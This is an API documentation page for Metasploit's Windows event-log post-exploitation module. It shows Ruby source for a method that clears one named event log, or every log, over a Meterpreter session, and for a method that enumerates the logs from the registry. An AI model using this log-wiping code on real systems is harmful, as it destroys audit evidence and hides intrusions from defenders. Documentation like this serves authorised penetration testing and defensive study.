Module: Msf::Post::Windows::Eventlog
- Defined in:
- lib/msf/core/post/windows/eventlog.rb
Instance Method Summary collapse
-
#eventlog_clear(evt = "") ⇒ Object
Clears a given eventlog or all eventlogs if none is given.
-
#eventlog_list ⇒ Object
Enumerate eventlogs.
- #initialize(info = {}) ⇒ Object
Instance Method Details
#eventlog_clear(evt = "") ⇒ Object
Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs that where cleared.
42 43 44 45 46 47 48 49 50 51 52 53 54 |
# File 'lib/msf/core/post/windows/eventlog.rb', line 42 def eventlog_clear(evt = "") evntlog = [] if evt.empty? evntlog = eventloglist else evntlog << evt end evntlog.each do |e| log = session.sys.eventlog.open(e) log.clear end return evntlog end |
#eventlog_list ⇒ Object
Enumerate eventlogs
27 28 29 30 31 32 33 34 35 36 |
# File 'lib/msf/core/post/windows/eventlog.rb', line 27 def eventlog_list key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" if session.sys.config.sysinfo['OS'] =~ /Windows 2003|\.Net|XP|2000/ key = "#{key}Eventlog" else key = "#{key}eventlog" end eventlogs = registry_enumkeys(key) return eventlogs end |
#initialize(info = {}) ⇒ Object
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# File 'lib/msf/core/post/windows/eventlog.rb', line 8 def initialize(info = {}) super( update_info( info, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_config_sysinfo stdapi_sys_eventlog_* ] } } ) ) end |